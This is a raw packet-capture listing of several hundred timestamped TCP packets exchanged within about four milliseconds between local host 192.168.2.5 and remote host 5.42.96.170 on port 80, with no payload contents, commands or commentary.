May 17, 2024 23:45:16.398715019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398727894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398736954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398746967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398757935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398760080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398761034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398761034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398761034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398761034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398767948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398778915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398787975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398793936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398793936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398797989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398807049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398816109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398825884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398834944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398844957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398853064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398863077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398871899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398878098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398878098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398878098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398878098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398878098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398881912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398889065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398890972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398904085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398912907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398924112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398927927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398927927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398927927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398932934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398942947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398951054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398951054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398952961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398963928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398974895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398983955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398993969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399003983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399010897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399012089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399012089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399013996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399024963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399034977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399040937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399040937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399046898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399055958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399060011 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399065971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399075985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399085045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399099112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399110079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399118900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399127960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399137974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399138927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399138927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399138927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399138927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399138927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399147034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399156094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399163961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399173021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399183989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399193048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399204016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399213076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399223089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399223089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399223089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399223089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399223089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399223089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399231911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399240971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399250031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399262905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399274111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399282932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399293900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399300098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399300098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399300098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399300098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399300098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399300098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399302959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399312973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399322033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399333000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399342060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399346113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399346113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399346113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399352074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399363041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399373055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399383068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399393082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399401903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399411917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399421930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399421930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399422884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399422884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399422884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399422884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399431944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399442911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399454117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399462938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399502039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399502039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399502039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399502039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399502039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399739981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399750948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399759054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399769068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399779081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399787903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399787903 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399825096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399827003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399827003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399827003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399836063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399843931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399854898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399863958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399872065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399872065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399880886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399888992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.399910927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399910927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.399923086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400088072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400104046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400120020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400130987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400131941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400132895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400146008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400156021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400163889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400172949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400182009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400290966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400301933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400309086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400320053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400330067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400336027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400336027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400336027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400336027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400336027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400340080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400350094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400351048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400358915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400367975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400377989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400386095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400387049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400387049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400396109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400404930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400414944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400424004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400430918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400430918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400430918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400430918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400434017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400449991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400460958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400470018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400480032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400481939 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400481939 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400490046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400494099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400500059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400510073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400516033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400520086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400521040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400521040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400531054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400541067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400551081 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400551081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400563002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400573015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400583029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.400610924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400610924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400610924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.400610924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401168108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401179075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401186943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401196957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401206017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401216030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401225090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401235104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401245117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401253939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401261091 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401262045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401262045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401262045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401262045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401263952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401273012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401283026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401453018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401463985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401472092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401482105 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401490927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401492119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401490927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401490927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401490927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401490927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401490927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401501894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401511908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401515961 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401521921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401532888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401542902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401616096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401627064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401634932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401644945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401654005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401657104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401657104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401657104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401657104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401657104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401663065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401673079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401674032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401674032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401684999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401695013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401705980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401714087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401725054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401734114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401743889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401751995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401757002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401757002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401757002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401757002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401757002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401757002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401768923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401776075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401778936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401789904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401799917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401809931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401818991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401829958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401839018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401845932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401845932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401845932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401845932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401845932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401849031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401859045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401870012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401879072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.401921034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401921034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401921034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401921034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.401921034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402448893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402463913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402472019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402482986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402493000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402502060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402512074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402522087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402533054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402543068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402553082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402563095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402566910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402566910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402566910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402566910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402566910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402573109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402590990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402590990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402811050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402822018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402829885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402839899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402849913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402861118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402870893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402879953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402888060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402898073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402906895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402906895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402906895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402906895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402906895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402906895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402909040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402920008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402928114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402937889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402946949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402962923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402972937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402977943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402977943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402977943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402977943 CEST	49707	80	192.168.2.5	5.42.96.170
